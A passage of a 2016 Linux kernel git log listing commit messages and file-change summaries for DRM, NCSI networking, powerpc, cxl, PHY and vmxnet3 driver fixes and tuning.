http://patchwork.freedesktop.org/patch/msgid/20160926204414.23222-1-chris@chris-wilson.co.uk drivers/gpu/drm/drm_prime.c | 85 +++++++++++++++++++++++++++++++++++++++------ include/drm/drmP.h | 5 +-- 2 files changed, 77 insertions(+), 13 deletions(-) commit 188af070d4d20474cba4d42b4eaf728ba116f418 Author: Baoyou Xie Date: Sun Sep 25 15:38:29 2016 +0800 drm/mediatek: mark symbols static where possible We get 4 warnings when building kernel with W=1: drivers/gpu/drm/mediatek/mtk_hdmi.c:1089:6: warning: no previous prototype for 'mtk_hdmi_audio_enable' [-Wmissing-prototypes] drivers/gpu/drm/mediatek/mtk_hdmi.c:1095:6: warning: no previous prototype for 'mtk_hdmi_audio_disable' [-Wmissing-prototypes] drivers/gpu/drm/mediatek/mtk_hdmi.c:1101:5: warning: no previous prototype for 'mtk_hdmi_audio_set_param' [-Wmissing-prototypes] drivers/gpu/drm/mediatek/mtk_hdmi.c:1627:5: warning: no previous prototype for 'mtk_hdmi_audio_digital_mute' [-Wmissing-prototypes] In fact, both functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks both functions with 'static'. Signed-off-by: Baoyou Xie [seanpaul fixed checkpatch warning for argument alignment] Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474789109-22010-2-git-send-email-baoyou.xie@linaro.org drivers/gpu/drm/mediatek/mtk_hdmi.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 6239817702e6fc3737d95256586a767a9b4f7fc0 Author: Baoyou Xie Date: Sun Sep 25 15:43:08 2016 +0800 drm/rockchip: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/gpu/drm/rockchip/rockchip_drm_drv.c:309:6: warning: no previous prototype for 'rockchip_drm_fb_suspend' [-Wmissing-prototypes] drivers/gpu/drm/rockchip/rockchip_drm_drv.c:318:6: warning: no previous prototype for 'rockchip_drm_fb_resume' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474789388-3284-1-git-send-email-baoyou.xie@linaro.org drivers/gpu/drm/rockchip/rockchip_drm_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 813cfc89f826edc6d78ac0dc0cfbf45ca6483fd4 Author: Baoyou Xie Date: Sun Sep 25 15:38:28 2016 +0800 drm/rockchip: add missing header dependencies We get 2 warnings when building kernel with W=1: drivers/gpu/drm/rockchip/rockchip_drm_fbdev.c:130:5: warning: no previous prototype for 'rockchip_drm_fbdev_init' [-Wmissing-prototypes] drivers/gpu/drm/rockchip/rockchip_drm_fbdev.c:173:6: warning: no previous prototype for 'rockchip_drm_fbdev_fini' [-Wmissing-prototypes] In fact, these functions are declared in drivers/gpu/drm/rockchip/rockchip_drm_fbdev.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1474789109-22010-1-git-send-email-baoyou.xie@linaro.org drivers/gpu/drm/rockchip/rockchip_drm_fbdev.c | 1 + 1 file changed, 1 insertion(+) commit 9a8dd213d2a38349e5ea2ca8888400952112b45c Merge: 9340903 2c15f25 Author: David S. Miller Date: Tue Oct 4 02:11:58 2016 -0400 Merge branch 'ncsi-next' Gavin Shan says: ==================== net/ncsi: NCSI Improvment and bug fixes This series of patches improves NCSI stack according to the comments I received after the NCSI code was merged to 4.8.rc1: * PATCH[1/8] fixes the build warning caused by xchg() with ia64-linux-gcc. The atomic operations are removed. The NCSI's lock should be taken when reading or updating its state and chained state. * Channel ID (0x1f) is the reserved one and it cannot be valid channel ID. So we needn't try to probe channel whose ID is 0x1f. PATCH[2/8] and PATCH[3/8] are addressing this issue. * The request IDs are assigned in round-robin fashion, but it's broken. PATCH[4/8] make it work. * PATCH[5/8] and PATCH[6/8] reworks the channel monitoring to improve the code readability and its robustness. * PATCH[7/8] and PATCH[8/8] introduces ncsi_stop_dev() so that the network device can be closed and opened afterwards. No error will be seen. Changelog ========= v2: * The NCSI's lock is taken when reading or updating its state as the {READ,WRITE}_ONCE() isn't reliable. ==================== Signed-off-by: David S. Miller commit 2c15f25b2923435515298589dcaa2eace6a948c1 Author: Gavin Shan Date: Tue Oct 4 11:25:54 2016 +1100 net/faraday: Stop NCSI device on shutdown This stops NCSI device when closing the network device so that the NCSI device can be reenabled later. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 2 ++ 1 file changed, 2 insertions(+) commit c0cd1ba4f8bd8b5fef43bc51a2983673b8f086ff Author: Gavin Shan Date: Tue Oct 4 11:25:53 2016 +1100 net/ncsi: Introduce ncsi_stop_dev() This introduces ncsi_stop_dev(), as counterpart to ncsi_start_dev(), to stop the NCSI device so that it can be reenabled in future. This API should be called when the network device driver is going to shutdown the device. There are 3 things done in the function: Stop the channel monitoring; Reset channels to inactive state; Report NCSI link down. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller include/net/ncsi.h | 5 +++++ net/ncsi/ncsi-manage.c | 37 ++++++++++++++++++++++++------------- 2 files changed, 29 insertions(+), 13 deletions(-) commit 83afdc6aad9d767cae271df1ca15641b9cbe3bfe Author: Gavin Shan Date: Tue Oct 4 11:25:52 2016 +1100 net/ncsi: Rework the channel monitoring The original NCSI channel monitoring was implemented based on a backoff algorithm: the GLS response should be received in the specified interval. Otherwise, the channel is regarded as dead and failover should be taken if current channel is an active one. There are several problems in the implementation: (A) On BCM5718, we found when the IID (Instance ID) in the GLS command packet changes from 255 to 1, the response corresponding to IID#1 never comes in. It means we cannot make the unfair judgement that the channel is dead when one response is missed. (B) The code's readability should be improved. (C) We should do failover when current channel is active one and the channel monitoring should be marked as disabled before doing failover. This reworks the channel monitoring to address all above issues. The fields for channel monitoring is put into separate struct and the state of channel monitoring is predefined. The channel is regarded alive if the network controller responses to one of two GLS commands or both of them in 5 seconds. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/internal.h | 12 +++++++++--- net/ncsi/ncsi-manage.c | 44 +++++++++++++++++++++++++------------------- net/ncsi/ncsi-rsp.c | 2 +- 3 files changed, 35 insertions(+), 23 deletions(-) commit a0509cbeef5dafbab42c42622e012bcc94c3eb9e Author: Gavin Shan Date: Tue Oct 4 11:25:51 2016 +1100 net/ncsi: Allow to extend NCSI request properties There is only one NCSI request property for now: the response for the sent command need drive the workqueue or not. So we had one field (@driven) for the purpose. We lost the flexibility to extend NCSI request properties. This replaces @driven with @flags and @req_flags in NCSI request and NCSI command argument struct. Each bit of the newly introduced field can be used for one property. No functional changes introduced. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/internal.h | 8 +++++--- net/ncsi/ncsi-cmd.c | 2 +- net/ncsi/ncsi-manage.c | 19 ++++++++++--------- net/ncsi/ncsi-rsp.c | 2 +- 4 files changed, 17 insertions(+), 14 deletions(-) commit a15af54f8f2a32d629781417503843bfbd02a004 Author: Gavin Shan Date: Tue Oct 4 11:25:50 2016 +1100 net/ncsi: Rework request index allocation The NCSI request index (struct ncsi_request::id) is put into instance ID (IID) field while sending NCSI command packet. It was designed the available IDs are given in round-robin fashion. @ndp->request_id was introduced to represent the next available ID, but it has been used as number of successively allocated IDs. It breaks the round-robin design. Besides, we shouldn't put 0 to NCSI command packet's IID field, meaning ID#0 should be reserved according section 6.3.1.1 in NCSI spec (v1.1.0). This fixes above two issues. With it applied, the available IDs will be assigned in round-robin fashion and ID#0 won't be assigned. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/internal.h | 1 + net/ncsi/ncsi-manage.c | 17 +++++++++-------- 2 files changed, 10 insertions(+), 8 deletions(-) commit 55e02d0837fb4cf023832252847bfbff453603cc Author: Gavin Shan Date: Tue Oct 4 11:25:49 2016 +1100 net/ncsi: Don't probe on the reserved channel ID (0x1f) We needn't send CIS (Clear Initial State) command to the NCSI reserved channel (0x1f) in the enumeration. We shouldn't receive a valid response from CIS on NCSI channel 0x1f. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/ncsi-manage.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bc7e0f50aa6958676115bffc1e5e58703579e04b Author: Gavin Shan Date: Tue Oct 4 11:25:48 2016 +1100 net/ncsi: Introduce NCSI_RESERVED_CHANNEL This defines NCSI_RESERVED_CHANNEL as the reserved NCSI channel ID (0x1f). No logical changes introduced. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/internal.h | 1 + net/ncsi/ncsi-manage.c | 14 +++++++------- 2 files changed, 8 insertions(+), 7 deletions(-) commit d8cedaabe71236d27da1ff03d32ab1da06ed041f Author: Gavin Shan Date: Tue Oct 4 11:25:47 2016 +1100 net/ncsi: Avoid unused-value build warning from ia64-linux-gcc xchg() is used to set NCSI channel's state in order for consistent access to the state. xchg()'s return value should be used. Otherwise, one build warning will be raised (with -Wunused-value) as below message indicates. It is reported by ia64-linux-gcc (GCC) 4.9.0. net/ncsi/ncsi-manage.c: In function 'ncsi_channel_monitor': arch/ia64/include/uapi/asm/cmpxchg.h:56:2: warning: value computed is \ not used [-Wunused-value] ((__typeof__(*(ptr))) __xchg((unsigned long) (x), (ptr), sizeof(*(ptr)))) ^ net/ncsi/ncsi-manage.c:202:3: note: in expansion of macro 'xchg' xchg(&nc->state, NCSI_CHANNEL_INACTIVE); This removes the atomic access to NCSI channel's state avoid the above build warning. We have to hold the channel's lock when its state is readed or updated. No functional changes introduced. Signed-off-by: Gavin Shan Reviewed-by: Joel Stanley Signed-off-by: David S. Miller net/ncsi/ncsi-aen.c | 37 +++++++++++++++++++------- net/ncsi/ncsi-manage.c | 71 ++++++++++++++++++++++++++++++++++++++------------ 2 files changed, 81 insertions(+), 27 deletions(-) commit 93409033ae653f1c9a949202fb537ab095b2092f Author: Andrew Collins Date: Mon Oct 3 13:43:02 2016 -0600 net: Add netdev all_adj_list refcnt propagation to fix panic This is a respin of a patch to fix a relatively easily reproducible kernel panic related to the all_adj_list handling for netdevs in recent kernels. The following sequence of commands will reproduce the issue: ip link add link eth0 name eth0.100 type vlan id 100 ip link add link eth0 name eth0.200 type vlan id 200 ip link add name testbr type bridge ip link set eth0.100 master testbr ip link set eth0.200 master testbr ip link add link testbr mac0 type macvlan ip link delete dev testbr This creates an upper/lower tree of (excuse the poor ASCII art): /---eth0.100-eth0 mac0-testbr- \---eth0.200-eth0 When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one reference to eth0 is added, so this results in a panic. This change adds reference count propagation so things are handled properly. Matthias Schiffer reported a similar crash in batman-adv: https://github.com/freifunk-gluon/gluon/issues/680 https://www.open-mesh.org/issues/247 which this patch also seems to resolve. Signed-off-by: Andrew Collins Signed-off-by: David S. Miller net/core/dev.c | 68 ++++++++++++++++++++++++++++++++-------------------------- 1 file changed, 37 insertions(+), 31 deletions(-) commit d11994314b2bfe028bc39be24b44298787925160 Author: Cyril Bur Date: Fri Sep 23 16:18:12 2016 +1000 powerpc: signals: Stop using current in signal code Much of the signal code takes a pt_regs on which it operates. Over time the signal code has needed to know more about the thread than what pt_regs can supply, this information is obtained as needed by using 'current'. This approach is not strictly incorrect however it does mean that there is now a hard requirement that the pt_regs being passed around does belong to current, this is never checked. A safer approach is for the majority of the signal functions to take a task_struct from which they can obtain pt_regs and any other information they need. The caveat that the task_struct they are passed must be current doesn't go away but can more easily be checked for. Functions called from outside powerpc signal code are passed a pt_regs and they can confirm that the pt_regs is that of current and pass current to other functions, furthurmore, powerpc signal functions can check that the task_struct they are passed is the same as current avoiding possible corruption of current (or the task they are passed) if this assertion ever fails. CC: paulus@samba.org Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/signal.h | 2 - arch/powerpc/kernel/signal.c | 41 ++++---- arch/powerpc/kernel/signal.h | 10 +- arch/powerpc/kernel/signal_32.c | 31 +++--- arch/powerpc/kernel/signal_64.c | 201 +++++++++++++++++++++----------------- 5 files changed, 159 insertions(+), 126 deletions(-) commit e909fb83d39292679118761426d7784715ad79ad Author: Cyril Bur Date: Fri Sep 23 16:18:11 2016 +1000 powerpc: Never giveup a reclaimed thread when enabling kernel {fp, altivec, vsx} After a thread is reclaimed from its active or suspended transactional state the checkpointed state exists on CPU, this state (along with the live/transactional state) has been saved in its entirety by the reclaiming process. There exists a sequence of events that would cause the kernel to call one of enable_kernel_fp(), enable_kernel_altivec() or enable_kernel_vsx() after a thread has been reclaimed. These functions save away any user state on the CPU so that the kernel can use the registers. Not only is this saving away unnecessary at this point, it is actually incorrect. It causes a save of the checkpointed state to the live structures within the thread struct thus destroying the true live state for that thread. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 39 ++++++++++++++++++++++++++++++++++++--- 1 file changed, 36 insertions(+), 3 deletions(-) commit 3cee070a13b141b8eb5727c3bfa9920092f87264 Author: Cyril Bur Date: Fri Sep 23 16:18:10 2016 +1000 powerpc: Return the new MSR from msr_check_and_set() msr_check_and_set() always performs a mfmsr() to determine if it needs to perform an mtmsr(), as mfmsr() can be a costly operation msr_check_and_set() could return the MSR now on the CPU to avoid callers of msr_check_and_set having to make their own mfmsr() call. Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/include/asm/reg.h | 2 +- arch/powerpc/kernel/process.c | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) commit b0f16b46988fde02a1e32078f66a3059d7e53bfc Author: Cyril Bur Date: Fri Sep 23 16:18:09 2016 +1000 powerpc: Add check_if_tm_restore_required() to giveup_all() giveup_all() causes FPU/VMX/VSX facilities to be disabled in a threads MSR. If the thread performing the giveup was transactional, the kernel must record which facilities were in use before the giveup as the thread must have these facilities re-enabled on return to userspace. >From process.c: /* * This is called if we are on the way out to userspace and the * TIF_RESTORE_TM flag is set. It checks if we need to reload * FP and/or vector state and does so if necessary. * If userspace is inside a transaction (whether active or * suspended) and FP/VMX/VSX instructions have ever been enabled * inside that transaction, then we have to keep them enabled * and keep the FP/VMX/VSX state loaded while ever the transaction * continues. The reason is that if we didn't, and subsequently * got a FP/VMX/VSX unavailable interrupt inside a transaction, * we don't know whether it's the same transaction, and thus we * don't know which of the checkpointed state and the transactional * state to use. */ Calling check_if_tm_restore_required() will set TIF_RESTORE_TM and save the MSR if needed. Fixes: c208505 ("powerpc: create giveup_all()") Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 1 + 1 file changed, 1 insertion(+) commit dc16b553c949e81f37555777dc7bab66d78285a7 Author: Cyril Bur Date: Fri Sep 23 16:18:08 2016 +1000 powerpc: Always restore FPU/VEC/VSX if hardware transactional memory in use Comment from arch/powerpc/kernel/process.c:967: If userspace is inside a transaction (whether active or suspended) and FP/VMX/VSX instructions have ever been enabled inside that transaction, then we have to keep them enabled and keep the FP/VMX/VSX state loaded while ever the transaction continues. The reason is that if we didn't, and subsequently got a FP/VMX/VSX unavailable interrupt inside a transaction, we don't know whether it's the same transaction, and thus we don't know which of the checkpointed state and the ransactional state to use. restore_math() restore_fp() and restore_altivec() currently may not restore the registers. It doesn't appear that this is more serious than a performance penalty. If the math registers aren't restored the userspace thread will still be run with the facility disabled. Userspace will not be able to read invalid values. On the first access it will take an facility unavailable exception and the kernel will detected an active transaction, at which point it will abort the transaction. There is the possibility for a pathological case preventing any progress by transactions, however, transactions are never guaranteed to make progress. Fixes: 70fe3d9 ("powerpc: Restore FPU/VEC/VSX if previously used") Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) commit 0e7736c6b806b24c693367196a076c78328ed742 Author: Gavin Shan Date: Tue Aug 2 14:10:35 2016 +1000 powerpc/powernv: Fix data type for @r in pnv_ioda_parse_m64_window() This fixes warning reported from sparse: pci-ioda.c:451:49: warning: incorrect type in argument 2 (different base types) Fixes: 262af557dd75 ("powerpc/powernv: Enable M64 aperatus for PHB3") Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/pci-ioda.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5adaf8629b193f185ca5a1665b9e777a0579f518 Author: Gavin Shan Date: Tue Aug 2 14:10:32 2016 +1000 powerpc/powernv: Use CPU-endian PEST in pnv_pci_dump_p7ioc_diag_data() This fixes the warnings reported from sparse: pci.c:312:33: warning: restricted __be64 degrades to integer pci.c:313:33: warning: restricted __be64 degrades to integer Fixes: cee72d5bb489 ("powerpc/powernv: Display diag data on p7ioc EEH errors") Cc: stable@vger.kernel.org # v3.3+ Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/pci.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 066bcd785aac9c10e5f9b873f9bd2e438653340d Author: Gavin Shan Date: Tue Aug 2 14:10:31 2016 +1000 powerpc/powernv: Specify proper data type for PCI_SLOT_ID_PREFIX This fixes the warning reported from sparse: eeh-powernv.c:875:23: warning: constant 0x8000000000000000 is so big it is unsigned long Fixes: ebe225312739 ("powerpc/powernv: Support PCI slot ID") Suggested-by: Michael Ellerman Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/include/asm/pnv-pci.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a7032132d7560a8434e1f54b71efd7fa20f073bd Author: Gavin Shan Date: Tue Aug 2 14:10:30 2016 +1000 powerpc/powernv: Use CPU-endian hub diag-data type in pnv_eeh_get_and_dump_hub_diag() The hub diag-data type is filled with big-endian data by OPAL call opal_pci_get_hub_diag_data(). We need convert it to CPU-endian value before using it. The issue is reported by sparse as pointed by Michael Ellerman: eeh-powernv.c:1309:21: warning: restricted __be16 degrades to integer This converts hub diag-data type to CPU-endian before using it in pnv_eeh_get_and_dump_hub_diag(). Fixes: 2a485ad7c88d ("powerpc/powernv: Drop PHB operation next_error()") Cc: stable@vger.kernel.org # v4.1+ Suggested-by: Michael Ellerman Signed-off-by: Gavin Shan Reviewed-by: Russell Currey Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/eeh-powernv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d63e51b31e0b655ed0f581b8a8fd4c4b4f8d1919 Author: Gavin Shan Date: Tue Aug 2 14:10:29 2016 +1000 powerpc/powernv: Pass CPU-endian PE number to opal_pci_eeh_freeze_clear() The PE number (@frozen_pe_no), filled by opal_pci_next_error() is in big-endian format. It should be converted to CPU-endian before it is passed to opal_pci_eeh_freeze_clear() when clearing the frozen state if the PE is invalid one. As Michael Ellerman pointed out, the issue is also detected by sparse: eeh-powernv.c:1541:41: warning: incorrect type in argument 2 (different base types) This passes CPU-endian PE number to opal_pci_eeh_freeze_clear() and it should be part of commit <0f36db77643b> ("powerpc/eeh: Fix wrong printed PE number"), which was merged to 4.3 kernel. Fixes: 71b540adffd9 ("powerpc/powernv: Don't escalate non-existing frozen PE") Cc: stable@vger.kernel.org # v4.3+ Suggested-by: Paul Mackerras Signed-off-by: Gavin Shan Reviewed-by: Russell Currey Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/eeh-powernv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39f0d6fbdc3f205d0c61a9c530c6827193cba64b Author: Gavin Shan Date: Thu Sep 29 15:52:04 2016 +1000 drivers/pci/hotplug: Use of_property_read_u32() in powernv driver This replaces of_get_property() with of_property_read_u32() or of_property_read_string() so that we needn't consider the endian issue, the returned value always is in CPU-endian. Signed-off-by: Gavin Shan [mpe: Fold in the change to the "ibm,slot-surprise-pluggable" case] Signed-off-by: Michael Ellerman drivers/pci/hotplug/pnv_php.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 735840b44bcc998e2574faf63d1aaaf9b41f2827 Author: Andrew Donnellan Date: Fri Jul 29 13:55:34 2016 +1000 cxl: replace loop with for_each_child_of_node(), remove unneeded of_node_put() Rewrite the cxl_guest_init_afu() loop in cxl_of_probe() to use for_each_child_of_node() rather than a hand-coded for loop. Remove the useless of_node_put(afu_np) call after the loop, where it's guaranteed that afu_np == NULL. Reported-by: SF Markus Elfring Reported-by: Julia Lawall Signed-off-by: Andrew Donnellan Reviewed-by: Frederic Barrat Signed-off-by: Michael Ellerman drivers/misc/cxl/of.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit aaa2245ed836824f21f8e42e0ab63b1637d1cb20 Author: Frederic Barrat Date: Mon Oct 3 21:36:02 2016 +0200 cxl: Flush PSL cache before resetting the adapter If the capi link is going down while the PSL owns a dirty cache line, any access from the host for that data could lead to an Uncorrectable Error. So when resetting the capi adapter through sysfs, make sure the PSL cache is flushed. It won't help if there are any active Process Elements on the card, as the cache would likely get new dirty cache lines immediately, but if resetting an idle adapter, it should avoid any bad surprises from data left over from terminated Process Elements. Signed-off-by: Frederic Barrat Reviewed-by: Andrew Donnellan Acked-by: Ian Munsie Signed-off-by: Michael Ellerman drivers/misc/cxl/cxl.h | 6 +++++- drivers/misc/cxl/native.c | 31 +++++++++++++++++++++++++++++++ drivers/misc/cxl/pci.c | 3 +++ 3 files changed, 39 insertions(+), 1 deletion(-) commit e2ad477cb26360532da7ee9ffc9631d6c0006a1d Author: Anton Blanchard Date: Sun Sep 25 22:35:41 2016 +1000 powerpc: Set default CPU type to POWER8 for little endian builds We supported POWER7 CPUs for bootstrapping little endian, but the target was always POWER8. Now that POWER7 specific issues are impacting performance, change the default target to POWER8. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/platforms/Kconfig.cputype | 1 + 1 file changed, 1 insertion(+) commit 8a18cc0c2c36ee49d70a620ac0190d30897c15fb Author: Anton Blanchard Date: Sun Sep 25 22:35:40 2016 +1000 powerpc: Only disable HAVE_EFFICIENT_UNALIGNED_ACCESS on POWER7 little endian POWER8 handles unaligned accesses in little endian mode, but commit 0b5e6661ac69 ("powerpc: Don't set HAVE_EFFICIENT_UNALIGNED_ACCESS on little endian builds") disabled it for all. The issue with unaligned little endian accesses is specific to POWER7, so update the Kconfig check to match. Using the stat() testcase from commit a75c380c7129 ("powerpc: Enable DCACHE_WORD_ACCESS on ppc64le"), performance improves 15% on POWER8. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61e98ebff3ba3d3b17e999dc483c2680480ed715 Author: Anton Blanchard Date: Mon Oct 3 17:03:03 2016 +1100 powerpc: Remove static branch prediction in atomic{, 64}_add_unless I see quite a lot of static branch mispredictions on a simple web serving workload. The issue is in __atomic_add_unless(), called from _atomic_dec_and_lock(). There is no obvious common case, so it is better to let the hardware predict the branch. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/include/asm/atomic.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bb85fb5803270c52863b983596c2a038facaf4b3 Author: Anton Blanchard Date: Mon Oct 3 17:40:29 2016 +1100 powerpc: During context switch, check before setting mm_cpumask During context switch, switch_mm() sets our current CPU in mm_cpumask. We can avoid this atomic sequence in most cases by checking before setting the bit. Testing on a POWER8 using our context switch microbenchmark: tools/testing/selftests/powerpc/benchmarks/context_switch \ --process --no-fp --no-altivec --no-vector Performance improves 2%. Signed-off-by: Anton Blanchard Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/include/asm/mmu_context.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 91ac730b8b1d7c5e71e7ed2d785a61c27433e13d Author: Anton Blanchard Date: Sun Oct 2 11:09:38 2016 +1100 powerpc/eeh: Quieten EEH message when no adapters are found No real need for this to be pr_warn(), reduce it to pr_info(). Signed-off-by: Anton Blanchard Acked-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9eda65fb82f3bbc43d3aca835d368701d377dc59 Author: Anton Blanchard Date: Fri Sep 30 20:39:53 2016 +1000 powerpc/configs: Enable Intel i40e on 64 bit configs We are starting to see i40e adapters in recent machines, so enable it in our configs. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/configs/powernv_defconfig | 1 + arch/powerpc/configs/ppc64_defconfig | 1 + arch/powerpc/configs/pseries_defconfig | 1 + 3 files changed, 3 insertions(+) commit d3eb34a312426ac5647a1f771eb76dfb8407c535 Author: Anton Blanchard Date: Fri Sep 30 20:39:52 2016 +1000 powerpc/configs: Change a few things from built in to modules Change a few devices and filesystems that are seldom used any more from built in to modules. This reduces our vmlinux about 500kB. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/configs/powernv_defconfig | 14 +++++++------- arch/powerpc/configs/ppc64_defconfig | 14 +++++++------- arch/powerpc/configs/pseries_defconfig | 14 +++++++------- 3 files changed, 21 insertions(+), 21 deletions(-) commit 32eab6c9e15ad9856b74f655062caf61e2ee3995 Author: Anton Blanchard Date: Fri Sep 30 20:39:51 2016 +1000 powerpc/configs: Bump kernel ring buffer size on 64 bit configs When we issue a system reset, every CPU in the box prints an Oops, including a backtrace. Each of these can be quite large (over 4kB) and we may end up wrapping the ring buffer and losing important information. Bump the base size from 128kB to 256kB and the per CPU size from 4kB to 8kB. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/configs/powernv_defconfig | 2 ++ arch/powerpc/configs/ppc64_defconfig | 2 ++ arch/powerpc/configs/pseries_defconfig | 2 ++ 3 files changed, 6 insertions(+) commit 43c2394fc15028c6d846633d21ebdd88a1692859 Author: Anton Blanchard Date: Fri Sep 30 20:39:50 2016 +1000 powerpc/configs: Enable VMX crypto We see big improvements with the VMX crypto functions (often 10x or more), so enable it as a module. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/configs/powernv_defconfig | 2 ++ arch/powerpc/configs/ppc64_defconfig | 2 ++ arch/powerpc/configs/pseries_defconfig | 2 ++ 3 files changed, 6 insertions(+) commit 12ab11a2c09b30c1938c8e82e53908f8a33426d5 Author: Anton Blanchard Date: Thu Aug 4 16:53:22 2016 +1000 powerpc/64: Align hot loops of memset() and backwards_memcpy() Align the hot loops in our assembly implementation of memset() and backwards_memcpy(). backwards_memcpy() is called from tcp_v4_rcv(), so we might want to optimise this a little more. Signed-off-by: Anton Blanchard Reviewed-by: Nick Piggin Signed-off-by: Michael Ellerman arch/powerpc/lib/mem_64.S | 2 ++ 1 file changed, 2 insertions(+) commit a4cc96d1f0170b779c32c6b2cc58764f5d2cdef0 Author: Raju Lakkaraju Date: Mon Oct 3 12:53:13 2016 +0530 net: phy: Add Edge-rate driver for Microsemi PHYs. Edge-rate: As system and networking speeds increase, a signal's output transition, also know as the edge rate or slew rate (V/ns), takes on greater importance because high-speed signals come with a price. That price is an assortment of interference problems like ringing on the line, signal overshoot and undershoot, extended signal settling times, crosstalk noise, transmission line reflections, false signal detection by the receiving device and electromagnetic interference (EMI) -- all of which can negate the potential gains designers are seeking when they try to increase system speeds through the use of higher performance logic devices. The fact is, faster signaling edge rates can cause a higher level of electrical noise or other type of interference that can actually lead to slower line speeds and lower maximum system frequencies. This parameter allow the board designers to change the driving strange, and thereby change the EMI behavioral. Edge-rate parameters (vddmac, edge-slowdown) get from Device Tree. Tested on Beaglebone Black with VSC 8531 PHY. Signed-off-by: Raju Lakkaraju Signed-off-by: David S. Miller .../devicetree/bindings/net/mscc-phy-vsc8531.txt | 58 ++++++++++ drivers/net/phy/mscc.c | 125 +++++++++++++++++++++ include/dt-bindings/net/mscc-phy-vsc8531.h | 21 ++++ 3 files changed, 204 insertions(+) commit 277964e19e1416ca31301e113edb2580c81a8b66 Author: Benjamin Poirier Date: Mon Oct 3 10:47:50 2016 +0800 vmxnet3: Wake queue from reset work vmxnet3_reset_work() expects tx queues to be stopped (via vmxnet3_quiesce_dev -> netif_tx_disable). However, this races with the netif_wake_queue() call in netif_tx_timeout() such that the driver's start_xmit routine may be called unexpectedly, triggering one of the BUG_ON in vmxnet3_map_pkt with a stack trace like this: RIP: 0010:[] vmxnet3_map_pkt+0x3ac/0x4c0 [vmxnet3] [] vmxnet3_tq_xmit+0x210/0x4e0 [vmxnet3] [] dev_hard_start_xmit+0x2e4/0x4c0 [] sch_direct_xmit+0x17e/0x1e0 [] __qdisc_run+0xd7/0x130 [] net_tx_action+0x10a/0x200 [] __do_softirq+0x11f/0x260 [] call_softirq+0x1c/0x30 [] do_softirq+0x65/0xa0 [] local_bh_enable_ip+0x99/0xa0 [] destroy_conntrack+0x96/0x110 [nf_conntrack] [] nf_conntrack_destroy+0x12/0x20 [] skb_release_head_state+0xb5/0xf0 [] skb_release_all+0x9/0x20 [] __kfree_skb+0x9/0x90 [] vmxnet3_quiesce_dev+0x209/0x340 [vmxnet3] [] vmxnet3_reset_work+0x6a/0xa0 [vmxnet3] [] process_one_work+0x16c/0x350 [] worker_thread+0x17a/0x410 [] kthread+0x96/0xa0 [] kernel_thread_helper+0x4/0x10 Signed-off-by: Benjamin Poirier Signed-off-by: David S. Miller drivers/net/vmxnet3/vmxnet3_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) 